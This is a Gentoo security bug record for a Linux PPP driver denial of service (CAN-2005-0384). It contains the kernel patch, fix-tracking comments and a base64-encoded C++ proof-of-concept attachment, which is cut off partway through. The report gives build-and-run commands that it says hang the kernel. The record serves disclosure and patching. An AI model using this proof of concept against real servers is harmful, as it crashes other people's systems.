82201 2005-02-15 22:13 0000 Remote Linux DoS on ppp servers (CAN-2005-0384) 2009-05-03 15:00:19 0000 1 Unclassified Gentoo Security Kernel unspecified All All RESOLVED FIXED http://www.ubuntulinux.org/support/documentation/usn/usn-95-1 [linux < 2.4.30] [linux >= 2.6 < 2.6.11.4] P2 critical --- 1 jaervosz@gentoo.org security@gentoo.org kern-sec@gentoo.org jaervosz@gentoo.org 2005-02-15 22:13:45 0000 Ben Martel and Stephen Blackheath have discovered a denial-of-service attack that a client of pppd can make that can hang the server machine. The bug is in the Linux kernel 2.6 (tested on 2.6.9), but it looks like it also exists in the 2.4 series. The attached test case (which works on Debian) demonstrates the problem, and gives some explanation, as well as a suggested patch. Run it in the following way as any user that is capable of running pppd: ~ g++ -o kernel-dos kernel-dos.cpp ~ ./kernel-dos ** This will hang the kernel. ** kernel-dos spawns /usr/bin/pppd and sends it a ppp packet crafted to trigger the kernel bug. The same problem also exists in Linux 2.4. jaervosz@gentoo.org 2005-02-15 22:16:18 0000 Created an attachment (id=51322) POC and comments koon@gentoo.org 2005-03-02 06:18:34 0000 Patch from Paul Mackerras : diff -urN linux-2.5/drivers/net/ppp_async.c test/drivers/net/ppp_async.c --- linux-2.5/drivers/net/ppp_async.c 2005-01-21 16:02:12.000000000 +1100 +++ test/drivers/net/ppp_async.c 2005-02-25 10:38:05.000000000 +1100 @@ -1000,7 +1000,7 @@ data += 4; dlen -= 4; /* data[0] is code, data[1] is length */ - while (dlen >= 2 && dlen >= data[1]) { + while (dlen >= 2 && dlen >= data[1] && data[1] >= 2) { switch (data[0]) { case LCP_MRU: val = (data[2] << 8) + data[3]; koon@gentoo.org 2005-03-16 02:21:53 0000 From Ubuntu latest kernel advisory: Ben Martel and Stephen Blackheath found a remote Denial of Service vulnerability in the PPP driver. This allowed a malicious pppd client to crash the server machine. (CAN-2005-0384) koon@gentoo.org 2005-03-16 03:16:45 0000 Mass-Ccing kern-sec@gentoo.org to make sure Kernel Security guys know about all of these... dsd@gentoo.org 2005-03-19 06:18:02 0000 Fixed in gentoo-dev-sources-2.6.11-r4 kumba@gentoo.org 2005-04-23 22:25:23 0000 mips-sources fixed. dsd@gentoo.org 2005-04-29 17:40:21 0000 Fixed in usermode-sources-2.6.11 dsd@gentoo.org 2005-05-10 15:34:00 0000 Fixed in ck-sources-2.6.11-r7 koon@gentoo.org 2005-05-23 05:00:55 0000 Fixed in 2.4 since 2.4.30-rc1 From solar : grsec-sources-2.4.30 is in the tree as ~arch. Note for other bumpers of 2.4.x series. CAN-2004-1056.patch and linux-2.4.28-random-poolsize.patch have never been applied to mainline. plasmaroo@gentoo.org 2005-08-20 11:38:40 0000 All fixed, closing bug. rbu@gentoo.org 2009-05-03 15:00:19 0000 http://git.kernel.org/?p=linux/kernel/git/tglx/history.git;a=commit;h=2b68239ff70ab5ff848181db88a967b67f744e25 51322 2005-02-15 22:16 0000 POC and comments kernel-dos.cpp application/octet-stream LyohCiAqIExpbnV4IGtlcm5lbCByZW1vdGUgZGVuaWFsLW9mLXNlcnZpY2UgYXR0YWNrLgogKiBU aGlzIGlzIGV4cGVjdGVkIHRvIGhhbmcgYWxsIHJlY2VudCAyLjYga2VybmVscy4gVGVzdGVkIG9u IDIuNi45LgogKgogKiBBIGNsaWVudCBvZiBwcHBkIGNhbiByZW1vdGVseSBoYW5nIHRoZSBrZXJu ZWwgb2YgdGhlIHNlcnZlciBtYWNoaW5lLgogKgogKiBEaXNjb3ZlcmVkIGJ5IFN0ZXBoZW4gQmxh Y2toZWF0aCA8c3RlcGhlbkBibGFja3NhcHBoaXJlLmNvbT4gYW5kCiAqIEJlbiBNYXJ0ZWwgPGJl bm1Ac3ltbWV0cmljLmNvLm56PiAxMSBKYW4gMjAwNS4KICoKICogQ29weXJpZ2h0IChDKSAyMDA1 IGJ5IEJlbiBNYXJ0ZWwgYW5kIFN0ZXBoZW4gQmxhY2toZWF0aC4KICogUmVsZWFzZWQgdW5kZXIg dGhlIHRlcm1zIG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZS4KICoKICogU3VnZ2Vz dGVkIGZpeCBmb3Iga2VybmVsIChhZ2FpbnN0IDIuNi45KToKICoKLS0tIGRyaXZlcnMvbmV0L3Bw cF9hc3luYy5jLm9yaWcgICAgVHVlIEphbiAxMSAyMToyNzowNCAyMDA1CisrKyBkcml2ZXJzL25l dC9wcHBfYXN5bmMuYyBUdWUgSmFuIDExIDIxOjI4OjI0IDIwMDUKQEAgLTEwMDMsNiArMTAwMyw4 IEBACiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXAtPnhhY2NtWzBdID0gdmFsOwog ICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KKyAgICAgICAg ICAgICAgIGlmIChkYXRhWzFdIDwgMikKKyAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAg ICAgICAgICAgICAgICBkbGVuIC09IGRhdGFbMV07CiAgICAgICAgICAgICAgICBkYXRhICs9IGRh dGFbMV07CiAgICAgICAgfQoKICovCgojaW5jbHVkZSA8c3RkaW8uaD4KI2luY2x1ZGUgPHVuaXN0 ZC5oPgojaW5jbHVkZSA8c3lzL3R5cGVzLmg+CgojZGVmaW5lIFVJbnQzMiB1bnNpZ25lZCBpbnQK I2RlZmluZSBVSW50MTYgdW5zaWduZWQgc2hvcnQKCmNsYXNzIFRyYW5zbGF0ZXJMaXN0ZW5lcgp7 CiAgICBwdWJsaWM6CiAgICAgICAgVHJhbnNsYXRlckxpc3RlbmVyKCkge30KICAgICAgICB2aXJ0 dWFsIH5UcmFuc2xhdGVyTGlzdGVuZXIoKSB7fQoKICAgICAgICB2aXJ0dWFsIHZvaWQgd3JpdGVT eW5jKHVuc2lnbmVkIGNoYXIqIGRhdGEsIGludCBsZW5ndGgpID0gMDsKICAgICAgICB2aXJ0dWFs IHZvaWQgd3JpdGVBc3luYyh1bnNpZ25lZCBjaGFyKiBkYXRhLCBpbnQgbGVuZ3RoKSA9IDA7Cn07 CgovKiEKICogVHJhbnNsYXRlcyBiZXR3ZWVuIHN5bmMgUFBQIGFuZCBhc3luYyBQUFAsIGFzIGRl ZmluZWQgaW4gUkZDIDE2NjIuCiAqLwpjbGFzcyBUcmFuc2xhdGVyCnsKICAgIHByaXZhdGU6CiAg ICAgICAgY29uc3QgY2hhcioga2V4dE5hbWU7CiAgICAgICAgVHJhbnNsYXRlckxpc3RlbmVyKiBs aXN0ZW5lcjsKICAgICAgICBpbnQgdG9TeW5jTVJVOwogICAgICAgIGludCB0b0FzeW5jTVJVOwog ICAgICAgIFVJbnQzMiB0eEFjY21bOF07CgogICAgICAgIHVuc2lnbmVkIGNoYXIqIHN5bmNCdWZm ZXI7CiAgICAgICAgaW50IHN5bmNCdWZmZXJTaXplOwogICAgICAgIGludCBzeW5jQnVmZmVySWR4 OwogICAgICAgIGJvb2wgc3luY0VzY2FwZTsKICAgICAgICBVSW50MTYgc3luY0ZDUzsKCiAgICAg ICAgdW5zaWduZWQgY2hhciogYXN5bmNCdWZmZXI7CiAgICAgICAgaW50IGFzeW5jQnVmZmVyU2l6 ZTsKCiAgICBwdWJsaWM6CiAgICAgICAgVHJhbnNsYXRlcihjb25zdCBjaGFyKiBrZXh0TmFtZSwg VHJhbnNsYXRlckxpc3RlbmVyKiBsaXN0ZW5lcik7CiAgICAgICAgflRyYW5zbGF0ZXIoKTsKCiAg ICAgICAgLyohCiAgICAgICAgICogUmVzZXQgdGhlIHN0YXRlIG9mIHRoZSB0cmFuc2xhdGlvbiB0 byBhbiBpbml0aWFsIHN0YXRlLiAgU2hvdWxkIGJlCiAgICAgICAgICogY2FsbGVkIHdoZW4gYSBu ZXcgY29ubmVjdGlvbiBpcyBzdGFydGVkLgogICAgICAgICAqLwogICAgICAgIHZvaWQgcmVzZXQo KTsKCiAgICAgICAgLyohCiAgICAgICAgICogVHJhbnNsYXRlIGFzeW5jIFBQUCB0byBzeW5jIFBQ UC4KICAgICAgICAgKi8KICAgICAgICB2b2lkIHRvU3luYyh1bnNpZ25lZCBjaGFyKiBkYXRhLCBp bnQgbGVuZ3RoKTsKCiAgICAgICAgLyohCiAgICAgICAgICogVHJhbnNsYXRlIGEgd2hvbGUgc3lu YyBQUFAgcGFja2V0IHRvIGFzeW5jIFBQUC4KICAgICAgICAgKi8KICAgICAgICB2b2lkIHRvQXN5 bmModW5zaWduZWQgY2hhciogZGF0YSwgaW50IGxlbmd0aCk7CgogICAgICAgIHN0YXRpYyBVSW50 MTYgZmNzdGFiWzI1Nl07CgogICAgcHJpdmF0ZToKICAgICAgICB2b2lkIGFsbG9jYXRlU3luY0J1 ZmZlcigpOwogICAgICAgIHZvaWQgYWxsb2NhdGVBc3luY0J1ZmZlcigpOwp9OwoKCiNkZWZpbmUg VEVTVF9FUlJPUih4eCkKI2RlZmluZSBURVNUX0lORk8oeHgpCiNkZWZpbmUgVEVTVF9ERUJVR19W RVJCT1NFKHh4KQoKI2RlZmluZSBQUFBfSEVBREVSX1NJWkUgICAyCiNkZWZpbmUgUFBQX0RFRkFV TFRfTVJVICAgMTUwMAojZGVmaW5lIFBQUF9QUk9UT19MQ1AgICAgIDB4YzAyMQojZGVmaW5lIFBQ UF9GTEFHICAgICAgICAgIDB4N2UKI2RlZmluZSBQUFBfRVNDQVBFICAgICAgICAweDdkCiNkZWZp bmUgUFBQX0NPTkZJR1VSRV9BQ0sgMgojZGVmaW5lIFBQUF9MQ1BfTVJVICAgICAgIDEKI2RlZmlu ZSBQUFBfTENQX0FDQ00gICAgICAyCgovKgoqIEZDUyBsb29rdXAgdGFibGUgYXMgY2FsY3VsYXRl ZCBieSB0aGUgdGFibGUgZ2VuZXJhdG9yLgoqLwpVSW50MTYgVHJhbnNsYXRlcjo6ZmNzdGFiWzI1 Nl0gPSB7CiAgMHgwMDAwLCAweDExODksIDB4MjMxMiwgMHgzMjliLCAweDQ2MjQsIDB4NTdhZCwg MHg2NTM2LCAweDc0YmYsCiAgMHg4YzQ4LCAweDlkYzEsIDB4YWY1YSwgMHhiZWQzLCAweGNhNmMs IDB4ZGJlNSwgMHhlOTdlLCAweGY4ZjcsCiAgMHgxMDgxLCAweDAxMDgsIDB4MzM5MywgMHgyMjFh LCAweDU2YTUsIDB4NDcyYywgMHg3NWI3LCAweDY0M2UsCiAgMHg5Y2M5LCAweDhkNDAsIDB4YmZk YiwgMHhhZTUyLCAweGRhZWQsIDB4Y2I2NCwgMHhmOWZmLCAweGU4NzYsCiAgMHgyMTAyLCAweDMw OGIsIDB4MDIxMCwgMHgxMzk5LCAweDY3MjYsIDB4NzZhZiwgMHg0NDM0LCAweDU1YmQsCiAgMHhh ZDRhLCAweGJjYzMsIDB4OGU1OCwgMHg5ZmQxLCAweGViNmUsIDB4ZmFlNywgMHhjODdjLCAweGQ5 ZjUsCiAgMHgzMTgzLCAweDIwMGEsIDB4MTI5MSwgMHgwMzE4LCAweDc3YTcsIDB4NjYyZSwgMHg1 NGI1LCAweDQ1M2MsCiAgMHhiZGNiLCAweGFjNDIsIDB4OWVkOSwgMHg4ZjUwLCAweGZiZWYsIDB4 ZWE2NiwgMHhkOGZkLCAweGM5NzQsCiAgMHg0MjA0LCAweDUzOGQsIDB4NjExNiwgMHg3MDlmLCAw eDA0MjAsIDB4MTVhOSwgMHgyNzMyLCAweDM2YmIsCiAgMHhjZTRjLCAweGRmYzUsIDB4ZWQ1ZSwg MHhmY2Q3LCAweDg4NjgsIDB4OTllMSwgMHhhYjdhLCAweGJhZjMsCiAgMHg1Mjg1LCAweDQzMGMs IDB4NzE5NywgMHg2MDFlLCAweDE0YTEsIDB4MDUyOCwgMHgzN2IzLCAweDI2M2EsCiAgMHhkZWNk LCAweGNmNDQsIDB4ZmRkZiwgMHhlYzU2LCAweDk4ZTksIDB4ODk2MCwgMHhiYmZiLCAweGFhNzIs CiAgMHg2MzA2LCAweDcyOGYsIDB4NDAxNCwgMHg1MTlkLCAweDI1MjIsIDB4MzRhYiwgMHgwNjMw LCAweDE3YjksCiAgMHhlZjRlLCAweGZlYzcsIDB4Y2M1YywgMHhkZGQ1LCAweGE5NmEsIDB4Yjhl MywgMHg4YTc4LCAweDliZjEsCiAgMHg3Mzg3LCAweDYyMGUsIDB4NTA5NSwgMHg0MTFjLCAweDM1 YTMsIDB4MjQyYSwgMHgxNmIxLCAweDA3MzgsCiAgMHhmZmNmLCAweGVlNDYsIDB4ZGNkZCwgMHhj ZDU0LCAweGI5ZWIsIDB4YTg2MiwgMHg5YWY5LCAweDhiNzAsCiAgMHg4NDA4LCAweDk1ODEsIDB4 YTcxYSwgMHhiNjkzLCAweGMyMmMsIDB4ZDNhNSwgMHhlMTNlLCAweGYwYjcsCiAgMHgwODQwLCAw eDE5YzksIDB4MmI1MiwgMHgzYWRiLCAweDRlNjQsIDB4NWZlZCwgMHg2ZDc2LCAweDdjZmYsCiAg MHg5NDg5LCAweDg1MDAsIDB4Yjc5YiwgMHhhNjEyLCAweGQyYWQsIDB4YzMyNCwgMHhmMWJmLCAw eGUwMzYsCiAgMHgxOGMxLCAweDA5NDgsIDB4M2JkMywgMHgyYTVhLCAweDVlZTUsIDB4NGY2Yywg MHg3ZGY3LCAweDZjN2UsCiAgMHhhNTBhLCAweGI0ODMsIDB4ODYxOCwgMHg5NzkxLCAweGUzMmUs IDB4ZjJhNywgMHhjMDNjLCAweGQxYjUsCiAgMHgyOTQyLCAweDM4Y2IsIDB4MGE1MCwgMHgxYmQ5 LCAweDZmNjYsIDB4N2VlZiwgMHg0Yzc0LCAweDVkZmQsCiAgMHhiNThiLCAweGE0MDIsIDB4OTY5 OSwgMHg4NzEwLCAweGYzYWYsIDB4ZTIyNiwgMHhkMGJkLCAweGMxMzQsCiAgMHgzOWMzLCAweDI4 NGEsIDB4MWFkMSwgMHgwYjU4LCAweDdmZTcsIDB4NmU2ZSwgMHg1Y2Y1LCAweDRkN2MsCiAgMHhj NjBjLCAweGQ3ODUsIDB4ZTUxZSwgMHhmNDk3LCAweDgwMjgsIDB4OTFhMSwgMHhhMzNhLCAweGIy YjMsCiAgMHg0YTQ0LCAweDViY2QsIDB4Njk1NiwgMHg3OGRmLCAweDBjNjAsIDB4MWRlOSwgMHgy ZjcyLCAweDNlZmIsCiAgMHhkNjhkLCAweGM3MDQsIDB4ZjU5ZiwgMHhlNDE2LCAweDkwYTksIDB4 ODEyMCwgMHhiM2JiLCAweGEyMzIsCiAgMHg1YWM1LCAweDRiNGMsIDB4NzlkNywgMHg2ODVlLCAw eDFjZTEsIDB4MGQ2OCwgMHgzZmYzLCAweDJlN2EsCiAgMHhlNzBlLCAweGY2ODcsIDB4YzQxYywg MHhkNTk1LCAweGExMmEsIDB4YjBhMywgMHg4MjM4LCAweDkzYjEsCiAgMHg2YjQ2LCAweDdhY2Ys IDB4NDg1NCwgMHg1OWRkLCAweDJkNjIsIDB4M2NlYiwgMHgwZTcwLCAweDFmZjksCiAgMHhmNzhm LCAweGU2MDYsIDB4ZDQ5ZCwgMHhjNTE0LCAweGIxYWIsIDB4YTAyMiwgMHg5MmI5LCAweDgzMzAs CiAgMHg3YmM3LCAweDZhNGUsIDB4NThkNSwgMHg0OTVjLCAweDNkZTMsIDB4MmM2YSwgMHgxZWYx LCAweDBmNzgKfTsKCiNkZWZpbmUgUFBQSU5JVEZDUzE2ICAgIDB4ZmZmZiAgLyogSW5pdGlhbCBG Q1MgdmFsdWUgKi8KI2RlZmluZSBQUFBHT09ERkNTMTYgICAgMHhmMGI4ICAvKiBHb29kIGZpbmFs IEZDUyB2YWx1ZSAqLwoKVHJhbnNsYXRlcjo6VHJhbnNsYXRlcihjb25zdCBjaGFyKiBrZXh0TmFt ZSwgVHJhbnNsYXRlckxpc3RlbmVyKiBsaXN0ZW5lcikKICAgIDoga2V4dE5hbWUoa2V4dE5hbWUp LAogICAgICBsaXN0ZW5lcihsaXN0ZW5lciksCiAgICAgIHN5bmNCdWZmZXIoTlVMTCksCiAgICAg IGFzeW5jQnVmZmVyKE5VTEwpCnsKICAgIHJlc2V0KCk7Cn0KClRyYW5zbGF0ZXI6On5UcmFuc2xh dGVyKCkKewogICAgZGVsZXRlW10gc3luY0J1ZmZlcjsKICAgIGRlbGV0ZVtdIGFzeW5jQnVmZmVy Owp9CgovKiEKICogUmVzZXQgdGhlIHN0YXRlIG9mIHRoZSB0cmFuc2xhdGlvbiB0byBhbiBpbml0 aWFsIHN0YXRlLiAgU2hvdWxkIGJlCiAqIGNhbGxlZCB3aGVuIGEgbmV3IGNvbm5lY3Rpb24gaXMg c3RhcnRlZC4KICovCnZvaWQgVHJhbnNsYXRlcjo6cmVzZXQoKQp7CiAgICB0b1N5bmNNUlUgPSBQ UFBfREVGQVVMVF9NUlU7CiAgICB0b0FzeW5jTVJVID0gUFBQX0RFRkFVTFRfTVJVOwogICAgdHhB Y2NtWzBdID0gfjA7ICAgICAgICAgICAvLyBFc2NhcGUgMHgwMCB0byAweDFGIGJ5IGRlZmF1bHQK ICAgIHR4QWNjbVsxXSA9IDA7CiAgICB0eEFjY21bMl0gPSAwOwogICAgdHhBY2NtWzNdID0gMHg2 MDAwMDAwMDsgIC8vIEFsd2F5cyBlc2NhcGUgMHg3ZCBhbmQgMHg3ZQogICAgdHhBY2NtWzRdID0g MDsKICAgIHR4QWNjbVs1XSA9IDA7CiAgICB0eEFjY21bNl0gPSAwOwogICAgdHhBY2NtWzddID0g MDsKICAgIGFsbG9jYXRlU3luY0J1ZmZlcigpOwogICAgYWxsb2NhdGVBc3luY0J1ZmZlcigpOwp9 Cgp2b2lkIFRyYW5zbGF0ZXI6OmFsbG9jYXRlU3luY0J1ZmZlcigpCnsKICAgIGRlbGV0ZVtdIHN5 bmNCdWZmZXI7CiAgICAgIC8vIFR3byBleHRyYSBieXRlcyBhdCB0aGUgYmVnaW5uaW5nIGZvciAw eGZmIDB4MDMgd2hpY2ggdGhlIG1vZGVtIHJlcXVpcmVzLgogICAgICAvLyBUd28gZXh0cmEgYnl0 ZXMgYXQgdGhlIGVuZCBmb3IgdGVtcG9yYXJ5IHN0b3JhZ2Ugb2YgdGhlIEZDUwogICAgc3luY0J1 ZmZlclNpemUgPSAyICsgUFBQX0hFQURFUl9TSVpFICsgdG9TeW5jTVJVICsgMjsKICAgIHN5bmNC dWZmZXIgPSBuZXcgdW5zaWduZWQgY2hhcltzeW5jQnVmZmVyU2l6ZV07CiAgICBzeW5jQnVmZmVy SWR4ID0gMDsKICAgIHN5bmNFc2NhcGUgPSBmYWxzZTsKICAgIHN5bmNGQ1MgPSBQUFBJTklURkNT MTY7Cn0KCnZvaWQgVHJhbnNsYXRlcjo6YWxsb2NhdGVBc3luY0J1ZmZlcigpCnsKICAgIGRlbGV0 ZVtdIGFzeW5jQnVmZmVyOwogICAgICAvLyBUd28gZXh0cmEgYnl0ZXMgYXQgdGhlIGJlZ2lubmlu ZyBmb3IgMHhmZiAweDAzIHdoaWNoIHRoZSBhc3luYyBQUFAgcmVxdWlyZXMuCiAgICAgIC8vIFR3 byBleHRyYSBieXRlcyBhdCB0aGUgZW5kIGZvciB0ZW1wb3Jhcnkgc3RvcmFnZSBvZiB0aGUgRkNT CiAgICAgIC8vIEFsbG9jYXRlIGVub3VnaCBzcGFjZSBmb3IgZWFjaCBjaGFyYWN0ZXIgdG8gYmUg ZXNjYXBlZCAoKiAyKSwgYW5kCiAgICAgIC8vIGFsbG93IGZvciBhIGJlZ2lubmluZyBhbmQgZW5k aW5nIGZsYWcgKCsgMikuCiAgICBhc3luY0J1ZmZlclNpemUgPSAoMiArIFBQUF9IRUFERVJfU0la RSArIHRvQXN5bmNNUlUgKyAyKSoyICsgMjsKICAgIGFzeW5jQnVmZmVyID0gbmV3IHVuc2lnbmVk IGNoYXJbYXN5bmNCdWZmZXJTaXplXTsKfQoKLyohCiAqIFRyYW5zbGF0ZSBhc3luYyBQUFAgdG8g c3luYyBQUFAuCiAqLwp2b2lkIFRyYW5zbGF0ZXI6OnRvU3luYyh1bnNpZ25lZCBjaGFyKiBkYXRh LCBpbnQgbGVuZ3RoKQp7CiAgICBmb3IgKGludCBpID0gMDsgaSA8IGxlbmd0aDsgaSsrKSB7CiAg ICAgICAgdW5zaWduZWQgY2hhciBjID0gZGF0YVtpXTsKICAgICAgICBpZiAoYyA9PSBQUFBfRkxB RykgewogICAgICAgICAgICBpZiAoc3luY0J1ZmZlcklkeCA+PSA1ICYmIHN5bmNCdWZmZXJbMF0g PT0gMHhmZiAmJiBzeW5jQnVmZmVyWzFdID09IDB4MDMpIHsKICAgICAgICAgICAgICAgIGlmIChz eW5jQnVmZmVySWR4ID4gc3luY0J1ZmZlclNpemUpIHsKICAgICAgICAgICAgICAgICAgICAgIC8v IE5vdGU6IFN1YnRyYWN0IDIgZm9yIDB4ZmYgMHgwMwogICAgICAgICAgICAgICAgICAgICAgLy8g U3VidHJhY3QgMiBmb3IgcHJvdG9jb2wgbm8KICAgICAgICAgICAgICAgICAgICAgIC8vIFN1YnRy YWN0IDIgZm9yIEZDUwogICAgICAgICAgICAgICAgICAgIFRFU1RfRVJST1IoKCIlczogYXN5bmMg UFBQIHBhY2tldCBzaXplICVkIHJlY2VpdmVkIGZyb20gbW9kZW0gZXhjZWVkcyB0by1zeW5jIE1S VSBvZiAlZFxuIiwKICAgICAgICAgICAgICAgICAgICAgICAga2V4dE5hbWUsIHN5bmNCdWZmZXJJ ZHgtNiwgdG9TeW5jTVJVKSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNl CiAgICAgICAgICAgICAgICBpZiAoc3luY0ZDUyA9PSBQUFBHT09ERkNTMTYpIHsKICAgICAgICAg ICAgICAgICAgICAgIC8vIFJlbW92ZSB0aGUgRkNTLCBidXQga2VlcCB0aGUgMHhmZiAweDAzLCBi ZWNhdXNlIHRoZSBtb2RlbQogICAgICAgICAgICAgICAgICAgICAgLy8gcmVxdWlyZXMgaXQuCiAg ICAgICAgICAgICAgICAgICAgbGlzdGVuZXItPndyaXRlU3luYyhzeW5jQnVmZmVyLCBzeW5jQnVm ZmVySWR4LTIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZSB7CiAgICAg ICAgICAgICAgICAgICAgVEVTVF9JTkZPKCgiJXM6IGFzeW5jIFBQUCBmY3MgbWlzbWF0Y2ghXG4i LCBrZXh0TmFtZSkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAg IHN5bmNCdWZmZXJJZHggPSAwOwogICAgICAgICAgICBzeW5jRXNjYXBlID0gZmFsc2U7CiAgICAg ICAgICAgIHN5bmNGQ1MgPSBQUFBJTklURkNTMTY7CiAgICAgICAgfQogICAgICAgIGVsc2UKICAg ICAgICBpZiAoc3luY0VzY2FwZSkgewogICAgICAgICAgICBjIF49IDB4MjA7CiAgICAgICAgICAg IGlmIChzeW5jQnVmZmVySWR4IDwgc3luY0J1ZmZlclNpemUpIHsKICAgICAgICAgICAgICAgIHN5 bmNCdWZmZXJbc3luY0J1ZmZlcklkeF0gPSBjOwogICAgICAgICAgICAgICAgc3luY0ZDUyA9IChz eW5jRkNTID4+IDgpIF4gZmNzdGFiWyhzeW5jRkNTIF4gKGMpKSAmIDB4ZmZdOwogICAgICAgICAg ICB9CiAgICAgICAgICAgIHN5bmNCdWZmZXJJZHgrKzsKICAgICAgICAgICAgc3luY0VzY2FwZSA9 IGZhbHNlOwogICAgICAgIH0KICAgICAgICBlbHNlCiAgICAgICAgaWYgKGMgPT0gUFBQX0VTQ0FQ RSkgewogICAgICAgICAgICBzeW5jRXNjYXBlID0gdHJ1ZTsKICAgICAgICB9CiAgICAgICAgZWxz ZSB7CiAgICAgICAgICAgIGlmIChzeW5jQnVmZmVySWR4IDwgc3luY0J1ZmZlclNpemUpIHsKICAg ICAgICAgICAgICAgIHN5bmNCdWZmZXJbc3luY0J1ZmZlcklkeF0gPSBjOwogICAgICAgICAgICAg ICAgc3luY0ZDUyA9IChzeW5jRkNTID4+IDgpIF4gZmNzdGFiWyhzeW5jRkNTIF4gKGMpKSAmIDB4 ZmZdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHN5bmNCdWZmZXJJZHgrKzsKICAgICAgICB9 CiAgICB9Cn0KCiNkZWZpbmUgRVNDQVBFKGRhdHVtKSBcCiAgICBpZiAoKGlzTENQICYmIChkYXR1 bSkgPCAweDIwKSB8fCB0eEFjY21bKGRhdHVtKSA+PiA1XSAmICgxIDw8ICgoZGF0dW0pICYgMHgx ZikpKSB7IFwKICAgICAgICBhc3luY0J1ZmZlcltqKytdID0gUFBQX0VTQ0FQRTsgXAogICAgICAg IGFzeW5jQnVmZmVyW2orK10gPSBkYXR1bSBeIDB4MjA7IFwKICAgIH0gXAogICAgZWxzZSBcCiAg ICAgICAgYXN5bmNCdWZmZXJbaisrXSA9IGRhdHVtCgojZGVmaW5lIENBTENfRkNTKGRhdHVtKSBc CiAgICBmY3MgPSAoZmNzID4+IDgpIF4gZmNzdGFiWyhmY3MgXiAoZGF0dW0pKSAmIDB4ZmZdCgov KiEKICogVHJhbnNsYXRlIGEgd2hvbGUgc3luYyBQUFAgcGFja2V0IHRvIGFzeW5jIFBQUC4KICov CnZvaWQgVHJhbnNsYXRlcjo6dG9Bc3luYyh1bnNpZ25lZCBjaGFyKiBkYXRhLCBpbnQgbGVuZ3Ro KQp7CiAgICAgIC8vIFN0cmlwIGxlYWRpbmcgMHhmZiAweDAzIGlmIGl0IGlzIHByZXNlbnQuCiAg ICBpZiAobGVuZ3RoID49IDIgJiYgZGF0YVswXSA9PSAweGZmICYmIGRhdGFbMV0gPT0gMHgwMykg ewogICAgICAgIGRhdGEgKz0gMjsKICAgICAgICBsZW5ndGggLT0gMjsKICAgIH0KCiAgICAgIC8v IElmIHRoZSBwYWNrZXQgaXMgdG9vIGxhcmdlLi4uCiAgICBpZiAobGVuZ3RoID4gKFBQUF9IRUFE RVJfU0laRSArIHRvQXN5bmNNUlUpKSB7CiAgICAgICAgVEVTVF9FUlJPUigoIiVzOiBzeW5jIFBQ UCBwYWNrZXQgc2l6ZSAlZCByZWNlaXZlZCBmcm9tIG1vZGVtIGV4Y2VlZHMgdG8tYXN5bmMgTVJV IG9mICVkXG4iLAogICAgICAgICAgICBrZXh0TmFtZSwgbGVuZ3RoLTIsIHRvQXN5bmNNUlUpKTsK ICAgICAgICByZXR1cm47CiAgICB9CgogICAgVUludDE2IHByb3RvID0gKChVSW50MTYpZGF0YVsw XSA8PCA4KSB8IChVSW50MTYpZGF0YVsxXTsKICAgIGJvb2wgaXNMQ1AgPSBwcm90byA9PSBQUFBf UFJPVE9fTENQICYmIGxlbmd0aCA+PSAzICYmIGRhdGFbMl0gPj0gMSAmJiBkYXRhWzJdIDw9IDc7 CiAgICAKICAgIGludCBpID0gMCwgaiA9IDA7CiAgICAKICAgIFVJbnQxNiBmY3MgPSBQUFBJTklU RkNTMTY7CiAgICBhc3luY0J1ZmZlcltqKytdID0gUFBQX0ZMQUc7ICAvLyBTdGFydCBmcmFtZSBt YXJrZXIKCiAgICBFU0NBUEUoMHhmZik7CiAgICBDQUxDX0ZDUygweGZmKTsKICAgIEVTQ0FQRSgw eDAzKTsKICAgIENBTENfRkNTKDB4MDMpOwogICAgd2hpbGUgKGkgPCBsZW5ndGgpIHsKICAgICAg ICBFU0NBUEUoZGF0YVtpXSk7CiAgICAgICAgQ0FMQ19GQ1MoZGF0YVtpXSk7CiAgICAgICAgaSsr OwogICAgfQogICAgZmNzIF49IDB4ZmZmZjsgICAgICAgICAgICAgICAgIC8qIGNvbXBsZW1lbnQg Ki8KICAgIHVuc2lnbmVkIGNoYXIgYyA9ICh1bnNpZ25lZCBjaGFyKSBmY3M7CiAgICBFU0NBUEUo Yyk7CiAgICBjID0gKHVuc2lnbmVkIGNoYXIpIChmY3MgPj4gOCk7CiAgICBFU0NBUEUoYyk7CiAg ICBhc3luY0J1ZmZlcltqKytdID0gUFBQX0ZMQUc7ICAvLyBFbmQgb2YgZnJhbWUgbWFya2VyCgog ICAgbGlzdGVuZXItPndyaXRlQXN5bmMoYXN5bmNCdWZmZXIsIGopOwp9CgoKY2xhc3MgTXlMaXN0 ZW5lciA6IHB1YmxpYyBUcmFuc2xhdGVyTGlzdGVuZXIKewogICAgcHJpdmF0ZToKICAgICAgICBp bnQgb3V0RkQ7CgogICAgcHVibGljOgogICAgICAgIE15TGlzdGVuZXIoaW50IG91dEZEKSA6IG91 dEZEKG91dEZEKSwgdHJhbnNsYXRlcihOVUxMKSB7fQogICAgICAgIH5NeUxpc3RlbmVyKCkge30K ICAgICAgICAgICAgICAgIAogICAgICAgIHZpcnR1YWwgdm9pZCB3cml0ZVN5bmModW5zaWduZWQg Y2hhciogZGF0YSwgaW50IGxlbmd0aCk7CiAgICAgICAgdmlydHVhbCB2b2lkIHdyaXRlQXN5bmMo dW5zaWduZWQgY2hhciogZGF0YSwgaW50IGxlbmd0aCk7CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAKICAgICAgICBUcmFuc2xhdGVyKiB0cmFuc2xhdGVyOwp9OwoKdm9pZCBNeUxpc3RlbmVy Ojp3cml0ZVN5bmModW5zaWduZWQgY2hhciogZGF0YSwgaW50IGxlbmd0aCkKewogICAgICAgIHBy aW50Zigic3luYzoiKTsKICAgICAgICBmb3IgKGludCBpID0gMDsgaSA8IGxlbmd0aDsgaSsrKQog ICAgICAgICAgICBwcmludGYoIiAlMDJ4IiwgZGF0YVtpXSk7CiAgICAgICAgcHJpbnRmKCJcbiIp 